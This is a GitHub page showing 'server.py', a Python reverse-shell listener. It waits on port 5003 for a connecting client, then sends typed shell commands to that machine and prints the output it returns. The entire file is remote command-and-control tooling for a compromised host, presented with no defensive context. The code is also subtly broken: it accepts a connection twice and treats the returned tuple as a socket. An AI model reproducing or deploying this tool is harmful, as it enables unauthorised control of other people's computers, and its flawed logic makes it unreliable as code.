-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
66 lines (59 loc) · 2.43 KB
/
Copy pathserver.py
File metadata and controls
66 lines (59 loc) · 2.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import socket
class Shell():
def __init__(self):
self.SERVER_HOST = "0.0.0.0"
self.SERVER_PORT = 5003
self.BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
self.SEPARATOR = "<sep>"
# create a socket object
self.s = socket.socket()
def create_socket(self):
# bind the socket to all IP addresses of this host
self.s.bind((self.SERVER_HOST, self.SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s.listen(5)
print(f"Listening as {self.SERVER_HOST}:{self.SERVER_PORT} ...")
# accept any connections attempted
client_socket, client_address = self.s.accept()
# print connection IP and port
print(f"{client_address[0]}:{client_address[1]} Connected!")
# receiving the current working directory of the client
cwd = client_socket.recv(self.BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
def command_loop(self):
# accept any connections attempted
client_socket = self.s.accept()
# receiving the current working directory of the client
cwd = client_socket.recv(self.BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
while True:
# get the command from prompt
command = input(f"{cwd} $> ")
if not command.strip():
# empty command
continue
# send the command to the client
client_socket.send(command.encode())
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# retrieve command results
output = client_socket.recv(self.BUFFER_SIZE).decode()
print("output:", output)
# split command output and current directory
results, cwd = output.split(self.SEPARATOR)
# print output
print(results)
# close connection to the client
client_socket.close()
# close server connection
self.s.close()
def main():
shell = Shell()
shell.create_socket()
shell.command_loop()
if __name__ == "__main__":
main()